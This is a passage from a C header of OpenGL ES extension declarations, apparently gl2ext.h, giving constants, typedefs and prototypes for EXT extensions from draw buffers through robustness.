0x882F #define GL_DRAW_BUFFER11_EXT 0x8830 #define GL_DRAW_BUFFER12_EXT 0x8831 #define GL_DRAW_BUFFER13_EXT 0x8832 #define GL_DRAW_BUFFER14_EXT 0x8833 #define GL_DRAW_BUFFER15_EXT 0x8834 #define GL_COLOR_ATTACHMENT0_EXT 0x8CE0 #define GL_COLOR_ATTACHMENT1_EXT 0x8CE1 #define GL_COLOR_ATTACHMENT2_EXT 0x8CE2 #define GL_COLOR_ATTACHMENT3_EXT 0x8CE3 #define GL_COLOR_ATTACHMENT4_EXT 0x8CE4 #define GL_COLOR_ATTACHMENT5_EXT 0x8CE5 #define GL_COLOR_ATTACHMENT6_EXT 0x8CE6 #define GL_COLOR_ATTACHMENT7_EXT 0x8CE7 #define GL_COLOR_ATTACHMENT8_EXT 0x8CE8 #define GL_COLOR_ATTACHMENT9_EXT 0x8CE9 #define GL_COLOR_ATTACHMENT10_EXT 0x8CEA #define GL_COLOR_ATTACHMENT11_EXT 0x8CEB #define GL_COLOR_ATTACHMENT12_EXT 0x8CEC #define GL_COLOR_ATTACHMENT13_EXT 0x8CED #define GL_COLOR_ATTACHMENT14_EXT 0x8CEE #define GL_COLOR_ATTACHMENT15_EXT 0x8CEF typedef void (GL_APIENTRYP PFNGLDRAWBUFFERSEXTPROC) (GLsizei n, const GLenum *bufs); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawBuffersEXT (GLsizei n, const GLenum *bufs); #endif #endif /* GL_EXT_draw_buffers */ #ifndef GL_EXT_draw_buffers_indexed #define GL_EXT_draw_buffers_indexed 1 typedef void (GL_APIENTRYP PFNGLENABLEIEXTPROC) (GLenum target, GLuint index); typedef void (GL_APIENTRYP PFNGLDISABLEIEXTPROC) (GLenum target, GLuint index); typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONIEXTPROC) (GLuint buf, GLenum mode); typedef void (GL_APIENTRYP PFNGLBLENDEQUATIONSEPARATEIEXTPROC) (GLuint buf, GLenum modeRGB, GLenum modeAlpha); typedef void (GL_APIENTRYP PFNGLBLENDFUNCIEXTPROC) (GLuint buf, GLenum src, GLenum dst); typedef void (GL_APIENTRYP PFNGLBLENDFUNCSEPARATEIEXTPROC) (GLuint buf, GLenum srcRGB, GLenum dstRGB, GLenum srcAlpha, GLenum dstAlpha); typedef void (GL_APIENTRYP PFNGLCOLORMASKIEXTPROC) (GLuint index, GLboolean r, GLboolean g, GLboolean b, GLboolean a); typedef GLboolean (GL_APIENTRYP PFNGLISENABLEDIEXTPROC) (GLenum target, GLuint index); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glEnableiEXT (GLenum target, GLuint index); GL_APICALL void GL_APIENTRY glDisableiEXT (GLenum target, GLuint index); GL_APICALL void GL_APIENTRY glBlendEquationiEXT (GLuint buf, GLenum mode); GL_APICALL void GL_APIENTRY glBlendEquationSeparateiEXT (GLuint buf, GLenum modeRGB, GLenum modeAlpha); GL_APICALL void GL_APIENTRY glBlendFunciEXT (GLuint buf, GLenum src, GLenum dst); GL_APICALL void GL_APIENTRY glBlendFuncSeparateiEXT (GLuint buf, GLenum srcRGB, GLenum dstRGB, GLenum srcAlpha, GLenum dstAlpha); GL_APICALL void GL_APIENTRY glColorMaskiEXT (GLuint index, GLboolean r, GLboolean g, GLboolean b, GLboolean a); GL_APICALL GLboolean GL_APIENTRY glIsEnablediEXT (GLenum target, GLuint index); #endif #endif /* GL_EXT_draw_buffers_indexed */ #ifndef GL_EXT_draw_elements_base_vertex #define GL_EXT_draw_elements_base_vertex 1 typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSBASEVERTEXEXTPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLint basevertex); typedef void (GL_APIENTRYP PFNGLDRAWRANGEELEMENTSBASEVERTEXEXTPROC) (GLenum mode, GLuint start, GLuint end, GLsizei count, GLenum type, const void *indices, GLint basevertex); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXEXTPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLint basevertex); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawElementsBaseVertexEXT (GLenum mode, GLsizei count, GLenum type, const void *indices, GLint basevertex); GL_APICALL void GL_APIENTRY glDrawRangeElementsBaseVertexEXT (GLenum mode, GLuint start, GLuint end, GLsizei count, GLenum type, const void *indices, GLint basevertex); GL_APICALL void GL_APIENTRY glDrawElementsInstancedBaseVertexEXT (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLint basevertex); #endif #endif /* GL_EXT_draw_elements_base_vertex */ #ifndef GL_EXT_draw_instanced #define GL_EXT_draw_instanced 1 typedef void (GL_APIENTRYP PFNGLDRAWARRAYSINSTANCEDEXTPROC) (GLenum mode, GLint start, GLsizei count, GLsizei primcount); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDEXTPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei primcount); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawArraysInstancedEXT (GLenum mode, GLint start, GLsizei count, GLsizei primcount); GL_APICALL void GL_APIENTRY glDrawElementsInstancedEXT (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei primcount); #endif #endif /* GL_EXT_draw_instanced */ #ifndef GL_EXT_draw_transform_feedback #define GL_EXT_draw_transform_feedback 1 typedef void (GL_APIENTRYP PFNGLDRAWTRANSFORMFEEDBACKEXTPROC) (GLenum mode, GLuint id); typedef void (GL_APIENTRYP PFNGLDRAWTRANSFORMFEEDBACKINSTANCEDEXTPROC) (GLenum mode, GLuint id, GLsizei instancecount); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawTransformFeedbackEXT (GLenum mode, GLuint id); GL_APICALL void GL_APIENTRY glDrawTransformFeedbackInstancedEXT (GLenum mode, GLuint id, GLsizei instancecount); #endif #endif /* GL_EXT_draw_transform_feedback */ #ifndef GL_EXT_external_buffer #define GL_EXT_external_buffer 1 typedef void *GLeglClientBufferEXT; typedef void (GL_APIENTRYP PFNGLBUFFERSTORAGEEXTERNALEXTPROC) (GLenum target, GLintptr offset, GLsizeiptr size, GLeglClientBufferEXT clientBuffer, GLbitfield flags); typedef void (GL_APIENTRYP PFNGLNAMEDBUFFERSTORAGEEXTERNALEXTPROC) (GLuint buffer, GLintptr offset, GLsizeiptr size, GLeglClientBufferEXT clientBuffer, GLbitfield flags); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBufferStorageExternalEXT (GLenum target, GLintptr offset, GLsizeiptr size, GLeglClientBufferEXT clientBuffer, GLbitfield flags); GL_APICALL void GL_APIENTRY glNamedBufferStorageExternalEXT (GLuint buffer, GLintptr offset, GLsizeiptr size, GLeglClientBufferEXT clientBuffer, GLbitfield flags); #endif #endif /* GL_EXT_external_buffer */ #ifndef GL_EXT_float_blend #define GL_EXT_float_blend 1 #endif /* GL_EXT_float_blend */ #ifndef GL_EXT_geometry_point_size #define GL_EXT_geometry_point_size 1 #endif /* GL_EXT_geometry_point_size */ #ifndef GL_EXT_geometry_shader #define GL_EXT_geometry_shader 1 #define GL_GEOMETRY_SHADER_EXT 0x8DD9 #define GL_GEOMETRY_SHADER_BIT_EXT 0x00000004 #define GL_GEOMETRY_LINKED_VERTICES_OUT_EXT 0x8916 #define GL_GEOMETRY_LINKED_INPUT_TYPE_EXT 0x8917 #define GL_GEOMETRY_LINKED_OUTPUT_TYPE_EXT 0x8918 #define GL_GEOMETRY_SHADER_INVOCATIONS_EXT 0x887F #define GL_LAYER_PROVOKING_VERTEX_EXT 0x825E #define GL_LINES_ADJACENCY_EXT 0x000A #define GL_LINE_STRIP_ADJACENCY_EXT 0x000B #define GL_TRIANGLES_ADJACENCY_EXT 0x000C #define GL_TRIANGLE_STRIP_ADJACENCY_EXT 0x000D #define GL_MAX_GEOMETRY_UNIFORM_COMPONENTS_EXT 0x8DDF #define GL_MAX_GEOMETRY_UNIFORM_BLOCKS_EXT 0x8A2C #define GL_MAX_COMBINED_GEOMETRY_UNIFORM_COMPONENTS_EXT 0x8A32 #define GL_MAX_GEOMETRY_INPUT_COMPONENTS_EXT 0x9123 #define GL_MAX_GEOMETRY_OUTPUT_COMPONENTS_EXT 0x9124 #define GL_MAX_GEOMETRY_OUTPUT_VERTICES_EXT 0x8DE0 #define GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS_EXT 0x8DE1 #define GL_MAX_GEOMETRY_SHADER_INVOCATIONS_EXT 0x8E5A #define GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS_EXT 0x8C29 #define GL_MAX_GEOMETRY_ATOMIC_COUNTER_BUFFERS_EXT 0x92CF #define GL_MAX_GEOMETRY_ATOMIC_COUNTERS_EXT 0x92D5 #define GL_MAX_GEOMETRY_IMAGE_UNIFORMS_EXT 0x90CD #define GL_MAX_GEOMETRY_SHADER_STORAGE_BLOCKS_EXT 0x90D7 #define GL_FIRST_VERTEX_CONVENTION_EXT 0x8E4D #define GL_LAST_VERTEX_CONVENTION_EXT 0x8E4E #define GL_UNDEFINED_VERTEX_EXT 0x8260 #define GL_PRIMITIVES_GENERATED_EXT 0x8C87 #define GL_FRAMEBUFFER_DEFAULT_LAYERS_EXT 0x9312 #define GL_MAX_FRAMEBUFFER_LAYERS_EXT 0x9317 #define GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS_EXT 0x8DA8 #define GL_FRAMEBUFFER_ATTACHMENT_LAYERED_EXT 0x8DA7 #define GL_REFERENCED_BY_GEOMETRY_SHADER_EXT 0x9309 typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTUREEXTPROC) (GLenum target, GLenum attachment, GLuint texture, GLint level); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glFramebufferTextureEXT (GLenum target, GLenum attachment, GLuint texture, GLint level); #endif #endif /* GL_EXT_geometry_shader */ #ifndef GL_EXT_gpu_shader5 #define GL_EXT_gpu_shader5 1 #endif /* GL_EXT_gpu_shader5 */ #ifndef GL_EXT_instanced_arrays #define GL_EXT_instanced_arrays 1 #define GL_VERTEX_ATTRIB_ARRAY_DIVISOR_EXT 0x88FE typedef void (GL_APIENTRYP PFNGLVERTEXATTRIBDIVISOREXTPROC) (GLuint index, GLuint divisor); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glVertexAttribDivisorEXT (GLuint index, GLuint divisor); #endif #endif /* GL_EXT_instanced_arrays */ #ifndef GL_EXT_map_buffer_range #define GL_EXT_map_buffer_range 1 #define GL_MAP_READ_BIT_EXT 0x0001 #define GL_MAP_WRITE_BIT_EXT 0x0002 #define GL_MAP_INVALIDATE_RANGE_BIT_EXT 0x0004 #define GL_MAP_INVALIDATE_BUFFER_BIT_EXT 0x0008 #define GL_MAP_FLUSH_EXPLICIT_BIT_EXT 0x0010 #define GL_MAP_UNSYNCHRONIZED_BIT_EXT 0x0020 typedef void *(GL_APIENTRYP PFNGLMAPBUFFERRANGEEXTPROC) (GLenum target, GLintptr offset, GLsizeiptr length, GLbitfield access); typedef void (GL_APIENTRYP PFNGLFLUSHMAPPEDBUFFERRANGEEXTPROC) (GLenum target, GLintptr offset, GLsizeiptr length); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void *GL_APIENTRY glMapBufferRangeEXT (GLenum target, GLintptr offset, GLsizeiptr length, GLbitfield access); GL_APICALL void GL_APIENTRY glFlushMappedBufferRangeEXT (GLenum target, GLintptr offset, GLsizeiptr length); #endif #endif /* GL_EXT_map_buffer_range */ #ifndef GL_EXT_memory_object #define GL_EXT_memory_object 1 #define GL_TEXTURE_TILING_EXT 0x9580 #define GL_DEDICATED_MEMORY_OBJECT_EXT 0x9581 #define GL_PROTECTED_MEMORY_OBJECT_EXT 0x959B #define GL_NUM_TILING_TYPES_EXT 0x9582 #define GL_TILING_TYPES_EXT 0x9583 #define GL_OPTIMAL_TILING_EXT 0x9584 #define GL_LINEAR_TILING_EXT 0x9585 #define GL_NUM_DEVICE_UUIDS_EXT 0x9596 #define GL_DEVICE_UUID_EXT 0x9597 #define GL_DRIVER_UUID_EXT 0x9598 #define GL_UUID_SIZE_EXT 16 typedef void (GL_APIENTRYP PFNGLGETUNSIGNEDBYTEVEXTPROC) (GLenum pname, GLubyte *data); typedef void (GL_APIENTRYP PFNGLGETUNSIGNEDBYTEI_VEXTPROC) (GLenum target, GLuint index, GLubyte *data); typedef void (GL_APIENTRYP PFNGLDELETEMEMORYOBJECTSEXTPROC) (GLsizei n, const GLuint *memoryObjects); typedef GLboolean (GL_APIENTRYP PFNGLISMEMORYOBJECTEXTPROC) (GLuint memoryObject); typedef void (GL_APIENTRYP PFNGLCREATEMEMORYOBJECTSEXTPROC) (GLsizei n, GLuint *memoryObjects); typedef void (GL_APIENTRYP PFNGLMEMORYOBJECTPARAMETERIVEXTPROC) (GLuint memoryObject, GLenum pname, const GLint *params); typedef void (GL_APIENTRYP PFNGLGETMEMORYOBJECTPARAMETERIVEXTPROC) (GLuint memoryObject, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLTEXSTORAGEMEM2DEXTPROC) (GLenum target, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXSTORAGEMEM2DMULTISAMPLEEXTPROC) (GLenum target, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXSTORAGEMEM3DEXTPROC) (GLenum target, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXSTORAGEMEM3DMULTISAMPLEEXTPROC) (GLenum target, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLBUFFERSTORAGEMEMEXTPROC) (GLenum target, GLsizeiptr size, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGEMEM2DEXTPROC) (GLuint texture, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGEMEM2DMULTISAMPLEEXTPROC) (GLuint texture, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGEMEM3DEXTPROC) (GLuint texture, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLTEXTURESTORAGEMEM3DMULTISAMPLEEXTPROC) (GLuint texture, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); typedef void (GL_APIENTRYP PFNGLNAMEDBUFFERSTORAGEMEMEXTPROC) (GLuint buffer, GLsizeiptr size, GLuint memory, GLuint64 offset); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetUnsignedBytevEXT (GLenum pname, GLubyte *data); GL_APICALL void GL_APIENTRY glGetUnsignedBytei_vEXT (GLenum target, GLuint index, GLubyte *data); GL_APICALL void GL_APIENTRY glDeleteMemoryObjectsEXT (GLsizei n, const GLuint *memoryObjects); GL_APICALL GLboolean GL_APIENTRY glIsMemoryObjectEXT (GLuint memoryObject); GL_APICALL void GL_APIENTRY glCreateMemoryObjectsEXT (GLsizei n, GLuint *memoryObjects); GL_APICALL void GL_APIENTRY glMemoryObjectParameterivEXT (GLuint memoryObject, GLenum pname, const GLint *params); GL_APICALL void GL_APIENTRY glGetMemoryObjectParameterivEXT (GLuint memoryObject, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glTexStorageMem2DEXT (GLenum target, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTexStorageMem2DMultisampleEXT (GLenum target, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTexStorageMem3DEXT (GLenum target, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTexStorageMem3DMultisampleEXT (GLenum target, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glBufferStorageMemEXT (GLenum target, GLsizeiptr size, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTextureStorageMem2DEXT (GLuint texture, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTextureStorageMem2DMultisampleEXT (GLuint texture, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTextureStorageMem3DEXT (GLuint texture, GLsizei levels, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glTextureStorageMem3DMultisampleEXT (GLuint texture, GLsizei samples, GLenum internalFormat, GLsizei width, GLsizei height, GLsizei depth, GLboolean fixedSampleLocations, GLuint memory, GLuint64 offset); GL_APICALL void GL_APIENTRY glNamedBufferStorageMemEXT (GLuint buffer, GLsizeiptr size, GLuint memory, GLuint64 offset); #endif #endif /* GL_EXT_memory_object */ #ifndef GL_EXT_memory_object_fd #define GL_EXT_memory_object_fd 1 #define GL_HANDLE_TYPE_OPAQUE_FD_EXT 0x9586 typedef void (GL_APIENTRYP PFNGLIMPORTMEMORYFDEXTPROC) (GLuint memory, GLuint64 size, GLenum handleType, GLint fd); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glImportMemoryFdEXT (GLuint memory, GLuint64 size, GLenum handleType, GLint fd); #endif #endif /* GL_EXT_memory_object_fd */ #ifndef GL_EXT_memory_object_win32 #define GL_EXT_memory_object_win32 1 #define GL_HANDLE_TYPE_OPAQUE_WIN32_EXT 0x9587 #define GL_HANDLE_TYPE_OPAQUE_WIN32_KMT_EXT 0x9588 #define GL_DEVICE_LUID_EXT 0x9599 #define GL_DEVICE_NODE_MASK_EXT 0x959A #define GL_LUID_SIZE_EXT 8 #define GL_HANDLE_TYPE_D3D12_TILEPOOL_EXT 0x9589 #define GL_HANDLE_TYPE_D3D12_RESOURCE_EXT 0x958A #define GL_HANDLE_TYPE_D3D11_IMAGE_EXT 0x958B #define GL_HANDLE_TYPE_D3D11_IMAGE_KMT_EXT 0x958C typedef void (GL_APIENTRYP PFNGLIMPORTMEMORYWIN32HANDLEEXTPROC) (GLuint memory, GLuint64 size, GLenum handleType, void *handle); typedef void (GL_APIENTRYP PFNGLIMPORTMEMORYWIN32NAMEEXTPROC) (GLuint memory, GLuint64 size, GLenum handleType, const void *name); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glImportMemoryWin32HandleEXT (GLuint memory, GLuint64 size, GLenum handleType, void *handle); GL_APICALL void GL_APIENTRY glImportMemoryWin32NameEXT (GLuint memory, GLuint64 size, GLenum handleType, const void *name); #endif #endif /* GL_EXT_memory_object_win32 */ #ifndef GL_EXT_multi_draw_arrays #define GL_EXT_multi_draw_arrays 1 typedef void (GL_APIENTRYP PFNGLMULTIDRAWARRAYSEXTPROC) (GLenum mode, const GLint *first, const GLsizei *count, GLsizei primcount); typedef void (GL_APIENTRYP PFNGLMULTIDRAWELEMENTSEXTPROC) (GLenum mode, const GLsizei *count, GLenum type, const void *const*indices, GLsizei primcount); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glMultiDrawArraysEXT (GLenum mode, const GLint *first, const GLsizei *count, GLsizei primcount); GL_APICALL void GL_APIENTRY glMultiDrawElementsEXT (GLenum mode, const GLsizei *count, GLenum type, const void *const*indices, GLsizei primcount); #endif #endif /* GL_EXT_multi_draw_arrays */ #ifndef GL_EXT_multi_draw_indirect #define GL_EXT_multi_draw_indirect 1 typedef void (GL_APIENTRYP PFNGLMULTIDRAWARRAYSINDIRECTEXTPROC) (GLenum mode, const void *indirect, GLsizei drawcount, GLsizei stride); typedef void (GL_APIENTRYP PFNGLMULTIDRAWELEMENTSINDIRECTEXTPROC) (GLenum mode, GLenum type, const void *indirect, GLsizei drawcount, GLsizei stride); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glMultiDrawArraysIndirectEXT (GLenum mode, const void *indirect, GLsizei drawcount, GLsizei stride); GL_APICALL void GL_APIENTRY glMultiDrawElementsIndirectEXT (GLenum mode, GLenum type, const void *indirect, GLsizei drawcount, GLsizei stride); #endif #endif /* GL_EXT_multi_draw_indirect */ #ifndef GL_EXT_multisampled_compatibility #define GL_EXT_multisampled_compatibility 1 #define GL_MULTISAMPLE_EXT 0x809D #define GL_SAMPLE_ALPHA_TO_ONE_EXT 0x809F #endif /* GL_EXT_multisampled_compatibility */ #ifndef GL_EXT_multisampled_render_to_texture #define GL_EXT_multisampled_render_to_texture 1 #define GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_SAMPLES_EXT 0x8D6C #define GL_RENDERBUFFER_SAMPLES_EXT 0x8CAB #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_EXT 0x8D56 #define GL_MAX_SAMPLES_EXT 0x8D57 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEEXTPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLFRAMEBUFFERTEXTURE2DMULTISAMPLEEXTPROC) (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRenderbufferStorageMultisampleEXT (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glFramebufferTexture2DMultisampleEXT (GLenum target, GLenum attachment, GLenum textarget, GLuint texture, GLint level, GLsizei samples); #endif #endif /* GL_EXT_multisampled_render_to_texture */ #ifndef GL_EXT_multiview_draw_buffers #define GL_EXT_multiview_draw_buffers 1 #define GL_COLOR_ATTACHMENT_EXT 0x90F0 #define GL_MULTIVIEW_EXT 0x90F1 #define GL_DRAW_BUFFER_EXT 0x0C01 #define GL_READ_BUFFER_EXT 0x0C02 #define GL_MAX_MULTIVIEW_BUFFERS_EXT 0x90F2 typedef void (GL_APIENTRYP PFNGLREADBUFFERINDEXEDEXTPROC) (GLenum src, GLint index); typedef void (GL_APIENTRYP PFNGLDRAWBUFFERSINDEXEDEXTPROC) (GLint n, const GLenum *location, const GLint *indices); typedef void (GL_APIENTRYP PFNGLGETINTEGERI_VEXTPROC) (GLenum target, GLuint index, GLint *data); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glReadBufferIndexedEXT (GLenum src, GLint index); GL_APICALL void GL_APIENTRY glDrawBuffersIndexedEXT (GLint n, const GLenum *location, const GLint *indices); GL_APICALL void GL_APIENTRY glGetIntegeri_vEXT (GLenum target, GLuint index, GLint *data); #endif #endif /* GL_EXT_multiview_draw_buffers */ #ifndef GL_EXT_multiview_tessellation_geometry_shader #define GL_EXT_multiview_tessellation_geometry_shader 1 #endif /* GL_EXT_multiview_tessellation_geometry_shader */ #ifndef GL_EXT_multiview_texture_multisample #define GL_EXT_multiview_texture_multisample 1 #endif /* GL_EXT_multiview_texture_multisample */ #ifndef GL_EXT_multiview_timer_query #define GL_EXT_multiview_timer_query 1 #endif /* GL_EXT_multiview_timer_query */ #ifndef GL_EXT_occlusion_query_boolean #define GL_EXT_occlusion_query_boolean 1 #define GL_ANY_SAMPLES_PASSED_EXT 0x8C2F #define GL_ANY_SAMPLES_PASSED_CONSERVATIVE_EXT 0x8D6A #endif /* GL_EXT_occlusion_query_boolean */ #ifndef GL_EXT_polygon_offset_clamp #define GL_EXT_polygon_offset_clamp 1 #define GL_POLYGON_OFFSET_CLAMP_EXT 0x8E1B typedef void (GL_APIENTRYP PFNGLPOLYGONOFFSETCLAMPEXTPROC) (GLfloat factor, GLfloat units, GLfloat clamp); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glPolygonOffsetClampEXT (GLfloat factor, GLfloat units, GLfloat clamp); #endif #endif /* GL_EXT_polygon_offset_clamp */ #ifndef GL_EXT_post_depth_coverage #define GL_EXT_post_depth_coverage 1 #endif /* GL_EXT_post_depth_coverage */ #ifndef GL_EXT_primitive_bounding_box #define GL_EXT_primitive_bounding_box 1 #define GL_PRIMITIVE_BOUNDING_BOX_EXT 0x92BE typedef void (GL_APIENTRYP PFNGLPRIMITIVEBOUNDINGBOXEXTPROC) (GLfloat minX, GLfloat minY, GLfloat minZ, GLfloat minW, GLfloat maxX, GLfloat maxY, GLfloat maxZ, GLfloat maxW); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glPrimitiveBoundingBoxEXT (GLfloat minX, GLfloat minY, GLfloat minZ, GLfloat minW, GLfloat maxX, GLfloat maxY, GLfloat maxZ, GLfloat maxW); #endif #endif /* GL_EXT_primitive_bounding_box */ #ifndef GL_EXT_protected_textures #define GL_EXT_protected_textures 1 #define GL_CONTEXT_FLAG_PROTECTED_CONTENT_BIT_EXT 0x00000010 #define GL_TEXTURE_PROTECTED_EXT 0x8BFA #endif /* GL_EXT_protected_textures */ #ifndef GL_EXT_pvrtc_sRGB #define GL_EXT_pvrtc_sRGB 1 #define GL_COMPRESSED_SRGB_PVRTC_2BPPV1_EXT 0x8A54 #define GL_COMPRESSED_SRGB_PVRTC_4BPPV1_EXT 0x8A55 #define GL_COMPRESSED_SRGB_ALPHA_PVRTC_2BPPV1_EXT 0x8A56 #define GL_COMPRESSED_SRGB_ALPHA_PVRTC_4BPPV1_EXT 0x8A57 #define GL_COMPRESSED_SRGB_ALPHA_PVRTC_2BPPV2_IMG 0x93F0 #define GL_COMPRESSED_SRGB_ALPHA_PVRTC_4BPPV2_IMG 0x93F1 #endif /* GL_EXT_pvrtc_sRGB */ #ifndef GL_EXT_raster_multisample #define GL_EXT_raster_multisample 1 #define GL_RASTER_MULTISAMPLE_EXT 0x9327 #define GL_RASTER_SAMPLES_EXT 0x9328 #define GL_MAX_RASTER_SAMPLES_EXT 0x9329 #define GL_RASTER_FIXED_SAMPLE_LOCATIONS_EXT 0x932A #define GL_MULTISAMPLE_RASTERIZATION_ALLOWED_EXT 0x932B #define GL_EFFECTIVE_RASTER_SAMPLES_EXT 0x932C typedef void (GL_APIENTRYP PFNGLRASTERSAMPLESEXTPROC) (GLuint samples, GLboolean fixedsamplelocations); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRasterSamplesEXT (GLuint samples, GLboolean fixedsamplelocations); #endif #endif /* GL_EXT_raster_multisample */ #ifndef GL_EXT_read_format_bgra #define GL_EXT_read_format_bgra 1 #define GL_UNSIGNED_SHORT_4_4_4_4_REV_EXT 0x8365 #define GL_UNSIGNED_SHORT_1_5_5_5_REV_EXT 0x8366 #endif /* GL_EXT_read_format_bgra */ #ifndef GL_EXT_render_snorm #define GL_EXT_render_snorm 1 #define GL_R8_SNORM 0x8F94 #define GL_RG8_SNORM 0x8F95 #define GL_RGBA8_SNORM 0x8F97 #define GL_R16_SNORM_EXT 0x8F98 #define GL_RG16_SNORM_EXT 0x8F99 #define GL_RGBA16_SNORM_EXT 0x8F9B #endif /* GL_EXT_render_snorm */ #ifndef GL_EXT_robustness #define GL_EXT_robustness 1 #define GL_GUILTY_CONTEXT_RESET_EXT 0x8253 #define GL_INNOCENT_CONTEXT_RESET_EXT 0x8254 #define GL_UNKNOWN_CONTEXT_RESET_EXT 0x8255 #define GL_CONTEXT_ROBUST_ACCESS_EXT 0x90F3 #define GL_RESET_NOTIFICATION_STRATEGY_EXT 0x8256 #define GL_LOSE_CONTEXT_ON_RESET_EXT 0x8252 #define GL_NO_RESET_NOTIFICATION_EXT 0x8261 typedef GLenum (GL_APIENTRYP PFNGLGETGRAPHICSRESETSTATUSEXTPROC) (void); typedef void (GL_APIENTRYP PFNGLREADNPIXELSEXTPROC) (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLsizei bufSize, void *data); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMFVEXTPROC) (GLuint program, GLint location, GLsizei bufSize, GLfloat *params); typedef void (GL_APIENTRYP PFNGLGETNUNIFORMIVEXTPROC) (GLuint program, GLint location, GLsizei bufSize, GLint *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLenum GL_APIENTRY glGetGraphicsResetStatusEXT (void); GL_APICALL void GL_APIENTRY glReadnPixelsEXT (GLint x, GLint y, GLsizei width, GLsizei height, GLenum format, GLenum type, GLsizei bufSize, void *data); GL_APICALL void GL_APIENTRY glGetnUniformfvEXT (GLuint program, GLint location, GLsizei bufSize, GLfloat *params); GL_APICALL void GL_APIENTRY glGetnUniformivEXT (GLuint program, GLint location, GLsizei bufSize, GLint *params); #endif #endif /* GL_EXT_robustness */ #ifndef 